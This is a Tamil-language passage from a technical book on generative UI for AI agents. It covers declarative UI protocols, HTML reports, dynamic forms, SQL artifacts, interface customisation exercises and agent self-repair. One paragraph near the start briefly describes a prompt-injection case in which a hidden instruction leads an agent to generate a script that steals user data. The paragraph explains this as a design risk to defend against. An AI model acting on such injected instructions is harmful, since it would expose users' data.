பாரம்பரிய ஏஜெண்ட் அமைப்புகள் முதன்மையாக பயனர் தொடர்புக்கு எளிய உரை உரையாடலை நம்பியுள்ளன. இருப்பினும், உரை ஒரு நேரியல், ஒரு-பரிமாண ஊடகம்; பல சூழ்நிலைகளில் அது திறனற்றது. கட்டமைக்கப்பட்ட தகவல்களை சேகரிக்க வேண்டியிருக்கும் போது, மீண்டும் மீண்டும் கேள்வி-பதில் உரையாடலை நீளமாக்குகிறது; சிக்கலான தரவு உறவுகளை வழங்க வேண்டியிருக்கும் போது, எளிய உரைக்கு வெளிப்படுத்தும் திறன் குறைவு; பயனர்கள் பல விருப்பங்களிலிருந்து தேர்வு செய்ய வேண்டியிருக்கும் போது, உரை பட்டியல் காட்சி இடைமுகத்தை விட மிகவும் குறைவான உள்ளுணர்வு கொண்டது.

குறியீடு உருவாக்கம் இந்த வரம்புகளை உடைக்கும் சாத்தியத்தை வழங்குகிறது: ஏஜெண்டுகள் மாறும் வகையில் படிவங்கள், ஊடாடும் விளக்கப்படங்கள் மற்றும் முழுமையான வலை பயன்பாடுகளைக் கூட உருவாக்க முடியும், நிலையான உரை உரையாடலை வளமான பல்துறை ஊடாடலாக மேம்படுத்துகிறது. ஏஜெண்ட் மாறும் வகையில் இடைமுகத்தை உருவாக்கும் இந்த முறை, ஜெனரேட்டிவ் UI (Generative UI) என்று அழைக்கப்படுகிறது.

A2UI-போன்ற நெறிமுறைகள்: ஜெனரேட்டிவ் UI-ஐ தரப்படுத்துதல்.

ஏஜெண்டுகள் நேரடியாக HTML மற்றும் JavaScript குறியீட்டை UI ஆக உருவாக்கும்போது, ஒரு அடிப்படை பாதுகாப்பு சிக்கல் உள்ளது: உருவாக்கப்பட்ட குறியீட்டில் தீங்கிழைக்கும் உள்ளடக்கம் இருக்கலாம். எடுத்துக்காட்டாக, ஒருவர் வேண்டுமென்றே உள்ளீட்டில் ஒரு அறிவுறுத்தலை மறைத்தால், prompt injection மூலம் ஏஜெண்ட் கையாளப்படலாம், மேலும் பயனர் தரவை ரகசியமாக திருடும் ஒரு ஸ்கிரிப்டை அது அறியாமல் உருவாக்கக்கூடும். காரண காரியத்தை தெளிவுபடுத்துவது முக்கியம்: காரணம் prompt injection (ஏஜெண்டின் உள்ளீட்டில் கலக்கப்படும் தீங்கிழைக்கும் அறிவுறுத்தல்கள்), அதேசமயம் உலாவியில் தீங்கிழைக்கும் ஸ்கிரிப்ட்களை இயக்குவதன் மற்றும் தரவை திருடுவதன் விளைவு பாரம்பரிய Web XSS (Cross-Site Scripting) ஐ ஒத்திருக்கிறது—முழு தாக்குதலையும் வெறுமனே XSS என்று அழைக்கக்கூடாது. A2UI (Agent-to-User Interface) ஆல் பிரதிநிதித்துவப்படுத்தப்படும் அறிவிப்பு இடைமுக நெறிமுறைகள் பாதுகாப்பான திசையை வழங்குகின்றன: ஏஜெண்ட் நேரடியாக இயங்கக்கூடிய குறியீட்டை உருவாக்குவதில்லை, மாறாக "UI விளக்க அறிக்கையை" (JSON வடிவத்தில்) மட்டுமே வெளியிடுகிறது, எடுத்துக்காட்டாக, "3 வரிசைகள் மற்றும் 2 நெடுவரிசைகள் கொண்ட, 'விற்பனை தரவு' என்ற தலைப்புடன் ஒரு அட்டவணையைக் காண்பி." இந்த அறிக்கையைப் பெற்றவுடன், கிளையண்ட் அதன் சொந்த முன் வரையறுக்கப்பட்ட, பாதுகாப்பான கூறுகளைப் பயன்படுத்தி இடைமுகத்தை வழங்குகிறது. இது ஒரு உணவக மெனுவைப் போன்றது: வாடிக்கையாளரால் (ஏஜெண்ட்) மெனுவில் உள்ள உணவுகளை (முன் வரையறுக்கப்பட்ட கூறுகள்) மட்டுமே ஆர்டர் செய்ய முடியும், சமையலறைக்குச் சென்று தாங்களாகவே சமைக்க முடியாது (தன்னிச்சையான குறியீட்டை இயக்க முடியாது). ஒரு பொதுவான குழப்பத்தை தெளிவுபடுத்த வேண்டும்: AG-UI (Agent-User Interaction, CopilotKit ஆல் முன்மொழியப்பட்டது), அதன் பெயர் ஒத்திருந்தாலும், இது ஒரு UI விளக்க மொழி அல்ல, மாறாக ஒரு துணை நிகழ்வு/போக்குவரத்து நெறிமுறை (event/transport protocol) ஆகும், இது ஏஜெண்டின் செயல்பாட்டு நிலையை (செய்திகள், tool calls, நிலை இணைப்புகள்) முன்பக்கத்திற்கு ஸ்ட்ரீம் செய்வதற்கு பொறுப்பாகும். இது A2UI போன்ற UI பேலோடுகளைக் கூட எடுத்துச் செல்ல முடியும். எனவே, அவை நிரப்பு இயல்புடையவை, ஒரே வகையைச் சேர்ந்தவை அல்ல, மேலும் ஒரே "அறிவிப்பு இடைமுக நெறிமுறை"யாக ஒன்றாகப் பட்டியலிடப்படக்கூடாது.

இத்தகைய நெறிமுறைகளின் முக்கிய வடிவமைப்புக் கொள்கை பாதுகாப்பு-முதலில் (security-first) ஆகும்: கிளையண்ட் ஒரு நம்பகமான கூறு பட்டியலை (எ.கா., Card, Button, TextField, Table) பராமரிக்கிறது, மேலும் ஏஜெண்ட் ஏற்கனவே பட்டியலில் உள்ள கூறுகளை மட்டுமே வழங்கக் கோர முடியும், தன்னிச்சையான குறியீட்டைச் செலுத்த முடியாது. கிளையண்ட் ஏஜெண்டால் உருவாக்கப்பட்ட தன்னிச்சையான HTML-ஐ இயக்காமல், அதன் சொந்த சொந்த கூறுகளைப் பயன்படுத்தி வழங்குகிறது. இந்த நெறிமுறைகள் பொதுவாக குறுக்கு-தள (cross-platform) (அதே விளக்கம் React, Flutter, சொந்த பயன்பாடுகளில் வழங்கப்படுகிறது) மற்றும் அதிகரிப்பு உருவாக்கம் (incremental generation) (JSONL வடிவத்தை ஸ்ட்ரீம் செய்தல், கிடைத்தவுடன் வழங்குதல்) ஆகியவற்றையும் ஆதரிக்கின்றன. நிச்சயமாக, அறிவிப்பு அடிப்படையிலான அணுகுமுறை (declarative approach) தரப்படுத்தப்பட்ட தொடர்பு காட்சிகளுக்கு (forms, tables, cards) ஏற்றது. அதே நேரத்தில், அதிக தனிப்பயனாக்கப்பட்ட தேவைகளுக்கு (எ.கா., தனிப்பயன் காட்சிப்படுத்தல்கள், விளையாட்டு இடைமுகங்கள்), நேரடி குறியீடு உருவாக்கம் (direct code generation) மிகவும் நெகிழ்வான தேர்வாக உள்ளது. கீழே இரண்டு முறைகளின் குறிப்பிட்ட பயன்பாடுகள் கொடுக்கப்பட்டுள்ளன.

HTML மூலம் முடிவுகளை வழங்குதல்: Markdown அறிக்கைகளை மாற்றுதல். Generative UI என்பது தொடர்புகளின் போது மட்டும் பயன்படுத்தப்படுவதில்லை, மாறாக ஏஜெண்டின் இறுதி வழங்கல் (deliverable) வடிவத்தையும் மாற்றி வருகிறது. பாரம்பரியமாக, ஒரு பணியை முடித்த பிறகு, ஒரு ஏஜெண்ட் Markdown அறிக்கை ஆவணத்தை உருவாக்கும்; ஆனால் நேரியல் முறையில் அமைக்கப்பட்ட Markdown பக்கங்களைப் படிப்பது மிகவும் பயனர் நட்பு அல்ல. ஏஜெண்டுகள் முன்பக்க குறியீட்டை (frontend code) உருவாக்கும் திறன் பெறுவதால், அதிகமான நடைமுறைகள் அவற்றை நேரடியாக HTML ஐ உருவாக்கச் செய்வதை நோக்கி நகர்கின்றன. Markdown உடன் ஒப்பிடும்போது, HTML வழங்கல்கள் பல தனித்துவமான நன்மைகளைக் கொண்டுள்ளன. முதலாவதாக, ஊடாடும் ஆர்ப்பாட்டங்கள்: அவை அமைப்பு எவ்வாறு செயல்படுகிறது என்பதை செயல்படக்கூடிய வடிவத்தில் நேரடியாகக் காட்ட முடியும், இதை பயனர்கள் பெரும்பாலும் ஒரு பார்வையிலேயே புரிந்துகொள்வார்கள், இது நீண்ட உரை விளக்கங்களை விட மிகவும் சிறந்தது. இரண்டாவதாக, சிறந்த தரவு காட்சிப்படுத்தல்: தரவை வழங்க அட்டவணைகளுக்குப் பதிலாக விளக்கப்படங்களைப் பயன்படுத்துதல், மற்றும் பயனர்கள் தங்களுக்கு ஆர்வமுள்ள விவரங்களை உலாவவும், வடிகட்டவும், ஆழமாக ஆராயவும் அனுமதிக்கும் ஊடாடும் கூறுகளை உருவாக்குதல். மூன்றாவதாக, தொடர்ந்து மேம்படுத்தக்கூடிய வழங்கல்கள்: ஒரு HTML வலைத்தளம் என்பது ஒரு பணியின் முடிவில் மட்டும் உருவாக்கப்படும் நிலையான கலைப்பொருளாக (static artifact) இருக்க வேண்டியதில்லை; அது ஏஜெண்டால் பணி முன்னேறும்போது தொடர்ந்து நிரப்பப்பட்டு மேம்படுத்தப்படலாம்.

ஆசிரியரின் சொந்த ஆய்வுக் கட்டுரை எழுதும் அனுபவத்தை உதாரணமாக எடுத்துக் கொண்டால்: ஒவ்வொரு ஆராய்ச்சித் திட்டத்திற்கும், ஆசிரியர் ஒரு ஊடாடும் இணையதளத்தை[^ch5-4] பராமரிக்கிறார். இது இறுதி விளைபொருளாகவும், ஆராய்ச்சி செயல்முறை முழுவதும் ஒரு நேரடி ஆவணமாகவும் செயல்படுகிறது—சோதனைகள் முன்னேறும்போது, ஆசிரியர் ஏஜெண்டை அதைத் தொடர்ந்து புதுப்பிக்கச் செய்கிறார். இந்த இணையதளம் குறைந்தது மூன்று நோக்கங்களுக்குச் சேவை செய்கிறது. முதலாவதாக, சோதனைத் தரவு கண்டறியும் தன்மை: ஒவ்வொரு சோதனையின் குறிப்பிட்ட தரவு, பயன்படுத்தப்பட்ட ப்ராம்ப்ட்கள், மற்றும் LLM-ன் மூல பதில்கள் அனைத்தையும் இணையதளத்தில் ஒவ்வொன்றாகப் பார்க்க முடியும்; அவற்றை விரித்து வைப்பதால், தரவு கட்டமைப்பு, வடிவம் மற்றும் பரவலில் உள்ள சிக்கல்களைக் கண்டறிவதும், LLM-ன் பதில்கள் மற்றும் நீதிபதியின் மதிப்பெண்ணில் முறையான சார்புகள் உள்ளதா என்பதைப் பார்ப்பதும் எளிதாகிறது. இரண்டாவதாக, பயிற்சி அளவீடுகள் கண்காணிப்பு: பல்வேறு பயிற்சி வளைவுகளை நேரடியாக வலைப்பக்கத்தில் காண்பித்து, மாதிரியின் உள் ஆரோக்கிய அளவீடுகள் சரியாக உள்ளனவா என்பதை வசதியாக உறுதிப்படுத்த முடியும். "உள் மருத்துவம்" என்ற மருத்துவச் சொல்லைக் கடன் வாங்கி, இந்த அளவீடுகள் பயிற்சி செயல்முறையின் ஆரோக்கியத்தைப் பிரதிபலிக்கும் உள் சமிக்ஞைகளைக் குறிக்கின்றன, அதாவது பயிற்சி மற்றும் சரிபார்ப்பு இழப்பு, கிரேடியண்ட் நார்ம், கற்றல் விகிதம், மாதிரியானது டோக்கன்களை வெளியிடும்போது அதன் பெர்ப்ளெக்சிட்டி (மாதிரியின் தனது சொந்த உருவாக்கப்பட்ட உள்ளடக்கத்தின் மீதான "நம்பிக்கையின்" அளவீடு), மற்றும் வலுவூட்டல் கற்றலில், வெகுமதி, KL டைவர்ஜென்ஸ், பாலிசி என்ட்ரோபி போன்றவை. இவை பணி துல்லியம் போன்ற இறுதி முடிவு அளவீடுகளிலிருந்து வேறுபடுகின்றன: சுகாதாரப் பரிசோதனையில் உள்ள பல்வேறு உடலியல் குறிகாட்டிகள் ஒரு நபரின் வெளிப்புற செயல்திறனுடன் தொடர்புடையது போலவே, உள் ஆரோக்கிய அளவீடுகள் பெரும்பாலும் இழப்பு ஒருங்கிணையாமை, வெடிக்கும் கிரேடியண்ட்கள் அல்லது பயிற்சி சரிவு போன்ற சிக்கல்களை மிகவும் முன்னதாகவே வெளிப்படுத்த முடியும். மூன்றாவதாக, செயல்பாட்டுக் கொள்கை விளக்கம்: காட்சிப்படுத்தலைப் பயன்படுத்தி முழு அமைப்பின் செயல்பாட்டுக் கொள்கையை வழங்குவதால், இந்த AI-ஆல் கட்டப்பட்ட அமைப்பின் கட்டமைப்பை ஒரு பார்வையில் தெளிவாகக் காண முடியும்.

[^ch5-4]: ஆசிரியரின் ஆராய்ச்சித் திட்ட இணையதளத்தை https://01.me/research/ இல் காணலாம், அங்கு ஒவ்வொரு திட்டத்திற்கும் தொடர்ந்து புதுப்பிக்கப்படும் ஊடாடும் இணையதளம் உள்ளது.

பயனர் நோக்கத்தை தெளிவுபடுத்துதல்.

பயனர் தேவைகள் தெளிவற்றதாகவோ அல்லது முழுமையற்றதாகவோ இருக்கும்போது, ஏஜெண்ட் தேவையான தகவல்களைச் சேகரிக்க கேள்விகள் கேட்டு தெளிவுபடுத்த வேண்டும். OpenAI Deep Research போன்ற தயாரிப்புகள் பொதுவாக உரை அடிப்படையிலான கேள்வி-பதில் முறையைப் பயன்படுத்துகின்றன, ஆனால் இதற்கு தெளிவான வரம்புகள் உள்ளன: செயல்திறனைப் பொறுத்தவரை, ஒவ்வொரு கேள்விக்கும் ஒரு உரையாடல் சுற்று தேவைப்படுகிறது, எனவே பத்து தெளிவுபடுத்தும் புள்ளிகளுக்கு பத்து தொடர்புகள் தேவை; வெளிப்பாட்டுத் திறனைப் பொறுத்தவரை, சில கேள்விகள் சார்புகளைக் கொண்டுள்ளன (எ.கா., "பயண இடத்தைத் தேர்ந்தெடுப்பது" "போக்குவரத்து முறை"க்கான விருப்பங்களைப் பாதிக்கிறது), இதை வெற்று உரையால் பிரதிநிதித்துவப்படுத்துவது கடினம்.

குறியீடு உருவாக்கம் மூலம், ஏஜெண்ட் உரை அடிப்படையிலான கேள்வி-பதில் முறையை மாற்றி, கட்டமைக்கப்பட்ட ஊடாடும் இடைமுகங்களை உருவாக்க முடியும். படம் 5-8, மாறும் படிவ உருவாக்க செயல்முறையை விளக்குகிறது, ஏஜெண்ட் தெளிவுபடுத்தும் கேள்விகளை ஒரே முறையில் நிரப்பக்கூடிய கட்டமைக்கப்பட்ட இடைமுகமாக எவ்வாறு மாற்றுகிறது என்பதைக் காட்டுகிறது. ஏஜெண்ட் பல்வேறு உள்ளீட்டு கட்டுப்பாடுகளைக் கொண்ட HTML படிவத்தை உருவாக்குகிறது—திறந்த தகவலுக்கான உரை பெட்டிகள், முன்வரையறுக்கப்பட்ட விருப்பங்களுக்கான கீழ்தோன்றும் மெனுக்கள், பல தேர்வுகளுக்கான தேர்வுப்பெட்டிகள் மற்றும் எளிமைப்படுத்தப்பட்ட நேர உள்ளீட்டிற்கான தேதி தேர்வாளர்கள். மேலும் சென்று, ஏஜெண்ட் அடுக்கு படிவங்களை உருவாக்க முடியும்—JavaScript மூலம் மாறும் தர்க்கத்தை செயல்படுத்துகிறது: தேர்வுகளின் அடிப்படையில் அடுத்தடுத்த கேள்விகளை தானாகக் காட்டுதல் அல்லது மறைத்தல், கிடைக்கக்கூடிய விருப்பங்களை மாறும் வகையில் புதுப்பித்தல். பயனர் முழு படிவத்தையும் ஒரே முறையில் நிரப்புகிறார், பல உரையாடல் சுற்றுகளை நீக்குகிறார், மேலும் தேவையான அனைத்து தகவல்களையும் கேள்விகளுக்கு இடையேயான தர்க்கரீதியான உறவுகளையும் தெளிவாகக் காண முடியும்.

சோதனை 5-9 ★★: மாறும் படிவங்களுடன் கூடிய நோக்கம் தெளிவுபடுத்தல் அமைப்பு

சோதனை நோக்கம்: மாறும் வகையில் HTML படிவங்களை உருவாக்குவதன் மூலம் பயனரின் நோக்கத்தை தெளிவுபடுத்தும் ஏஜெண்ட்டின் திறனை சரிபார்க்கவும்.

தொழில்நுட்ப அணுகுமுறை: ஏஜெண்ட் பயனரின் கோரிக்கையை பகுப்பாய்வு செய்கிறது, தெளிவுபடுத்தும் புள்ளிகளை அடையாளம் காட்டுகிறது மற்றும் அடுக்கு தர்க்கத்துடன் படிவக் குறியீட்டை உருவாக்குகிறது. முன்பக்கம் அதை வழங்குகிறது, பயனர் ஒருமுறை சமர்ப்பிக்கிறார், மேலும் ஏஜெண்ட் JSON தரவை பகுப்பாய்வு செய்து பணியைத் தொடர்கிறது.

ஏற்றுக்கொள்ளும் அளவுகோல்கள்: பயனர் "நான் பெய்ஜிங்கிற்கு ஒரு விமானத்தை முன்பதிவு செய்ய விரும்புகிறேன்" என்று உள்ளிடுகிறார். ஏஜெண்ட் பின்வருவனவற்றைக் கொண்ட படிவத்தை உருவாக்குகிறது: புறப்படும் நகரம் (உரை உள்ளீடு), புறப்படும் தேதி (தேதி தேர்வாளர்), பயண வகை (ரேடியோ: ஒரு வழி/சுற்றுப் பயணம்), திரும்பும் தேதி ("சுற்றுப் பயணம்" தேர்ந்தெடுக்கப்பட்டால் மட்டுமே காட்டப்படும்). பயனர் அனைத்து தகவல்களையும் ஒரே முறையில் சமர்ப்பிக்கிறார்.

SQL வினவல்களை உருவாக்குதல்.

தரவுத்தள வினவல் என்பது குறியீடு உருவாக்கம் ஊடாடும் அனுபவத்தை கணிசமாக மேம்படுத்தக்கூடிய ஒரு காட்சியாகும். பாரம்பரிய தரவுத்தள அணுகல் GUI கருவிகள் அல்லது கையால் எழுதப்பட்ட SQL ஐ நம்பியுள்ளது; முந்தையது இயக்க சிரமமானது, மற்றும் பிந்தையது பயனருக்கு சிறப்பு அறிவு தேவைப்படுகிறது. ஒரு ஏஜெண்ட் இயற்கை மொழியை SQL ஆக மொழிபெயர்க்க முடியும், ஆனால் இங்கே ஒரு முக்கிய வடிவமைப்பு தேர்வு உள்ளது: ஏஜெண்ட் SQL ஐ இயக்கி, பின்னர் முடிவுகளை இயற்கை மொழியில் விவரிக்க வேண்டுமா, அல்லது ஏஜெண்ட் SQL குறியீட்டை ஒரு கலைப்பொருளாக உருவாக்கி, முன்பக்கம் நேரடியாக இயக்க வேண்டுமா?

முதல் அணுகுமுறை அதிக "நுண்ணறிவு" கொண்டதாகத் தோன்றினாலும், அது மிகவும் திறனற்றது—ஒரு பெரிய அட்டவணையில் வினவல் முடிவு ஆயிரக்கணக்கான வரிசைகளைக் கொண்டிருக்கலாம். LLM இதைப் படித்து உரையில் விவரிக்கச் செய்வது, அதிக எண்ணிக்கையிலான டோக்கன்களைப் பயன்படுத்துவதோடு, நீண்ட நேரம் எடுப்பதோடு மட்டுமல்லாமல், மிக முக்கியமாக, தரவை "படியெடுக்கும்" போது LLM பிழைகள் ஏற்பட வாய்ப்புள்ளது. சிறந்த அணுகுமுறை கலைப்பொருள் முறை (artifact pattern) ஆகும். படம் 5-9 SQL வினவல் ஏஜெண்டின் (Agent) பணிப்பாய்வைக் காட்டுகிறது: ஏஜெண்ட் தரவை நேரடியாகப் படிப்பதில்லை. அதற்குப் பதிலாக, அது ஒரு SQL வினவல் குறியீட்டை உருவாக்கி, இந்தக் குறியீட்டை ஒரு சுயாதீனமான "கலைப்பொருளாக" (artifact) கணினியிடம் ஒப்படைக்கிறது. கணினி இந்த SQL ஐ எடுத்து நேரடியாக தரவுத்தளத்தை வினவுகிறது, மீட்டெடுக்கப்பட்ட தரவைப் பயனருக்குத் தெரியும் அட்டவணையாக வழங்குகிறது. இந்த முழு செயல்முறையிலும், தரவு நேரடியாக தரவுத்தளத்திலிருந்து பயனர் இடைமுகத்திற்குப் பாய்கிறது, LLM "இடைத்தரகரை" முற்றிலும் தவிர்க்கிறது—LLM ஆனது வினவல் அறிக்கையை எழுதுவதற்கு மட்டுமே பொறுப்பு, ஆயிரக்கணக்கான வரிசை தரவைப் படித்து பின்னர் அவற்றைப் பயனரிடம் மீண்டும் கூறுவதற்கு அல்ல. இது வேகமானதும் துல்லியமானதும் ஆகும்.

மேலும் சென்று, ஏஜெண்ட் ஒரு குழாய் அமைப்பை (pipeline) உருவாக்கும் இரண்டு கலைப்பொருட்களை உருவாக்க முடியும்: SQL வினவல் + காட்சிப்படுத்தல் குறியீடு (எ.கா., ஒரு பார் விளக்கப்படம்). முன்பக்கம் (frontend) SQL முடிவுகளை நேரடியாக காட்சிப்படுத்தல் குறியீட்டிற்கு அனுப்புகிறது. LLM ஆனது குறியீட்டை உருவாக்குவதற்கு மட்டுமே பொறுப்பு, தரவு பரிமாற்றத்தில் பங்கேற்பதற்கு அல்ல—இதுவே குறியீடு உருவாக்கத்தை ஒரு இடைமுகமாகப் பயன்படுத்துவதன் சாராம்சமாகும்.

சோதனை 5-10 ★★: இயற்கை மொழி இடைவினை ERP ஏஜெண்ட்

ERP (Enterprise Resource Planning) மென்பொருள் வணிகங்களுக்கு ஒரு முக்கியமான அமைப்பாகும், இது பொதுவாக GUI இடைமுகத்தைப் பயன்படுத்துகிறது, இதில் சிக்கலான செயல்பாடுகளுக்கு பல மவுஸ் கிளிக்குகள் தேவைப்படும். ஒரு AI ஏஜெண்ட் பயனரின் இயற்கை மொழி வினவல்களை SQL அறிக்கைகளாக மாற்றி, தானியங்கி வினவலை இயக்க முடியும்.

தேவைகள்: இரண்டு அட்டவணைகளைக் கொண்ட PostgreSQL தரவுத்தளத்தை அமைக்கவும்: (1) ஊழியர் அட்டவணை, ஊழியர் ஐடி, பெயர், துறை, நிலை, சேர்ந்த தேதி, விலகிய தேதி (NULL என்பது தற்போது பணியில் இருப்பதைக் குறிக்கிறது); (2) சம்பள அட்டவணை, ஊழியர் ஐடி, ஊதிய தேதி, சம்பளம் (ஒரு மாதத்திற்கு ஒரு பதிவு). ஏஜெண்ட் தானாகவே பதிலளிக்கிறது:

1. ஒவ்வொரு ஊழியரின் சராசரி பணிக்காலம் என்ன?
2. ஒவ்வொரு துறையிலும் எத்தனை செயலில் உள்ள ஊழியர்கள் உள்ளனர்?
3. எந்தத் துறையில் அதிக சராசரி ஊழியர் நிலை உள்ளது?
4. இந்த ஆண்டு மற்றும் கடந்த ஆண்டு ஒவ்வொரு துறையிலும் எத்தனை புதிய ஊழியர்கள் சேர்ந்தனர்?
5. கடந்த ஆண்டுக்கு முந்தைய ஆண்டு மார்ச் முதல் கடந்த ஆண்டு மே வரை A துறையின் சராசரி சம்பளம் என்ன?
6. கடந்த ஆண்டு எந்தத் துறைக்கு அதிக சராசரி சம்பளம் இருந்தது, A அல்லது B?
7. இந்த ஆண்டு ஒவ்வொரு நிலையிலும் உள்ள ஊழியர்களின் சராசரி சம்பளம் என்ன?
8. ஒரு வருடத்திற்கும் குறைவான, ஒன்று முதல் இரண்டு ஆண்டுகள் வரை, மற்றும் இரண்டு முதல் மூன்று ஆண்டுகள் வரை பணிக்காலம் கொண்ட ஊழியர்களின் கடைசி மாத சராசரி சம்பளம் என்ன?
9. கடந்த ஆண்டு முதல் இந்த ஆண்டு வரை எந்த 10 ஊழியர்களுக்கு அதிக சம்பள உயர்வு இருந்தது?
10. ஊதியம் வழங்கப்படாத (ஒரு மாதத்தில் பணியில் இருந்தாலும் சம்பள பதிவு இல்லை) ஏதேனும் வழக்குகள் உள்ளதா?

மென்பொருளை மாறும் வகையில் உருவாக்குதல்.

குறியீடு உருவாக்கும் திறனின் இறுதிப் பயன்பாடு, ஏஜெண்ட் முழுவதுமாக மாறும் விதத்தில், புதிதாக மென்பொருளை உருவாக்க அனுமதிப்பதாகும். ஆந்த்ரோபிக்கின் "Imagine with Claude" இந்த சாத்தியத்தின் எல்லையை நிரூபிக்கிறது: பயனர் ஒரு கோரிக்கையை வைக்கிறார், கிளாட் நிகழ்நேரத்தில் முன்பக்க இடைமுகத்தையும் தொடர்பு தர்க்கத்தையும் உருவாக்குகிறது, பயனர் உருவாக்கப்பட்ட மென்பொருளுடன் தொடர்பு கொள்கிறார், மேலும் கிளாட் செயல்பாட்டு முடிவுகளைக் காட்டும் புதிய இடைமுகத்தை உருவாக்க குறியீட்டை மாற்றியமைக்கிறது. இந்த செயல்முறை முழுவதும், பயனர் ஒரு பயன்பாடு ஒன்றுமில்லாமல் உருவாக்கப்பட்டு தொடர்ந்து வளர்ச்சியடைவதைக் காண்கிறார்.

இருப்பினும், இந்த முழுமையான மாறும் உருவாக்க மாதிரியானது அதிக செலவு மற்றும் தாமதத்தைக் கொண்டுள்ளது, இது திறனின் எல்லையை நிரூபிக்கும் ஒரு பரிசோதனையாக மிகவும் பொருத்தமானதாக அமைகிறது. மிகவும் நடைமுறைக்குரிய திசை ஏற்கனவே உள்ள கட்டமைப்புகளின் அடிப்படையில் தனிப்பயனாக்கப்பட்ட மாற்றம் ஆகும். இந்த "அரை-தனிப்பயன்" மாதிரியானது அடிப்படை மென்பொருளின் நிலைத்தன்மையைத் தக்கவைத்துக்கொண்டு, குறிப்பிட்ட பரிமாணங்களில் பயனர் கட்டுப்பாட்டைத் திறக்கிறது—பயனர் "பொத்தானை நீலமாக மாற்று," "சைடுபாரில் ஒரு குறுக்குவழி மெனுவைச் சேர்," "எழுத்துருவை மேலும் படிக்கக்கூடிய பாணியாக மாற்று" என்று கூறுகிறார். ஏஜெண்ட் தேவையைப் புரிந்துகொண்டு முன்பக்க குறியீட்டை மாற்றியமைக்கிறது, மேலும் HMR (Hot Module Replacement, பகுதி சூடான மாற்றீடு, பயன்பாட்டு நிலையைப் பாதுகாத்தல், முழு பக்க புதுப்பிப்பு இல்லாமல் நடைமுறைக்கு வருதல்) உடனடியாக நடைமுறைக்கு வருகிறது. இவ்வாறு, அனைவருக்கும் ஒரே மாதிரியான ஒரு தயாரிப்பு, ஒவ்வொரு பயனருக்கும் ஏற்பத் தனிப்பயனாக்கப்பட்ட அனுபவமாக மாறுகிறது.

சோதனை 5-11 ★★: உரையாடல் இடைமுக தனிப்பயனாக்க அமைப்பு

சோதனை நோக்கம்: இயற்கை மொழி உரையாடல் மூலம் பயனர்கள் உடனடியாக மென்பொருள் இடைமுகத்தைத் தனிப்பயனாக்கும் திறனை செயல்படுத்துதல், சூடான-மறுஏற்ற வழிமுறைகளால் ஆதரிக்கப்படும் குறியீடு உருவாக்கம் தனிப்பயனாக்கப்பட்ட பயனர் அனுபவங்களை வழங்குவதில் எவ்வளவு பயனுள்ளதாக இருக்கிறது என்பதை சரிபார்த்தல்.

தொழில்நுட்ப அணுகுமுறை: ஒரு அடிப்படை அரட்டைப் போட் பயன்பாட்டை (React முன்பக்கம் + FastAPI பின்பக்கம்) உருவாக்குதல், முன்பக்கமும் பின்பக்கமும் சூடான மறுஏற்றத்தை ஆதரிக்கும் டெவலப்மென்ட் பயன்முறையில் இயங்கும் (React இன் HMR, FastAPI இன் reload). பயனர்கள் உரையாடலின் போது UI தனிப்பயனாக்கத் தேவைகளை (வண்ணங்கள், எழுத்துருக்கள், அமைப்பு, கூறு நிலைகள் போன்றவை) முன்மொழிகின்றனர். ஏஜெண்ட் தானாகவே குறியீட்டை மாற்றியமைக்கிறது. சூடான-மறுஏற்ற வழிமுறை தானாகவே கோப்பு மாற்றங்களைக் கண்டறிகிறது, முன்பக்கம் மறுதொகுப்பு செய்து புதுப்பிக்கிறது, மேலும் பயனர் இடைமுக மாற்றங்களை நிகழ்நேரத்தில் காண்கிறார். பல சுற்றுகள் மீண்டும் மீண்டும் தனிப்பயனாக்கத்தை ஆதரிக்கிறது.

குறியீடு குறியீட்டை உருவாக்குதல்: ஏஜெண்ட் பூட்ஸ்ட்ராப்பிங்

முந்தைய பிரிவுகள் பல்வேறு களங்களில் குறியீடு உருவாக்கத்தின் பயன்பாட்டை நிரூபித்துள்ளன—கணித பகுத்தறிவு முதல் ஆவண உருவாக்கம் மற்றும் இடைமுக தனிப்பயனாக்கம் வரை. இந்த திறன்களை அவற்றின் எல்லைக்குத் தள்ளினால், ஒரு இயற்கையான கேள்வி எழுகிறது: ஒரு ஏஜெண்ட் மற்றொரு ஏஜெண்டை உருவாக்க குறியீடு உருவாக்கத்தைப் பயன்படுத்த முடியுமா?

முதலில், அத்தியாயம் 8 உடனான பணிப் பகிர்வை தெளிவுபடுத்த வேண்டும். இந்தப் பகுதியானது, ஏஜெண்டுகள் தங்கள் சொந்த வகையைச் சேர்ந்த ஏஜெண்டுகளை சரிசெய்து உருவாக்க குறியீட்டைப் பயன்படுத்துவதைப் பற்றி விவாதிக்கிறது—சுய-சரிசெய்தல், சுய-நகலாக்கம் (self-replication) மற்றும் தேவைக்கேற்ப புதிய ஏஜெண்டுகளை உருவாக்குதல்—இதன் இலக்கு ஏஜெண்டின் குறியீடு மற்றும் கட்டமைப்பாகும். அத்தியாயம் 8 இன் "சுய-பரிணாமம்" வேறுபட்ட விஷயமாகும், இது ஒரு ஏஜெண்டின் திறன்களைத் தொடர்ந்து வளர்த்துக் கொள்ளும் திறனைக் குறிக்கிறது (அனுபவத்தைக் குவித்தல், ப்ராம்ப்ட்களை மேம்படுத்துதல், கருவி நூலகத்தை உருவாக்குதல்) மாதிரி எடைகளை மாற்றாமல், இதன் இலக்கு ஏஜெண்டின் அறிவு மற்றும் உத்திகளாகும். இரண்டையும் "பரிணாமம்" என்று அழைக்கலாம், ஆனால் அத்தியாயம் 8 இன் தலைப்புடன் குழப்பத்தைத் தவிர்க்க, இந்தப் பகுதி இந்த "குறியீட்டை-உருவாக்கும்-ஏஜெண்ட்" திறனைக் குறிக்க பூட்ஸ்ட்ராப்பிங் (bootstrapping) என்ற சொல்லைப் பயன்படுத்துகிறது.

ஏஜெண்ட் சுய-சரிசெய்தல்: OpenClaw டாக்டர்.

ஏஜெண்ட் பூட்ஸ்ட்ராப்பிங்கிற்கு ஒரு முக்கியமான முன்நிபந்தனை சுய-சரிசெய்யும் திறன் ஆகும். OpenClaw இல் உள்ள doctor கட்டளை இந்தத் திறனை உள்ளடக்கியது—இது மூன்று வகையான சிக்கல்களைத் தானாகக் கண்டறிய முடியும்:

• கட்டமைப்பு முரண்பாடுகள்: காலாவதியான OAuth டோக்கன்கள், பழைய கட்டமைப்பு வடிவங்கள், போர்ட் முரண்பாடுகள்
• நிலை சிக்கல்கள்: பழைய அமர்வு பூட்டு கோப்புகள், காணாமல் போன ப்ளகின் சார்புகள்
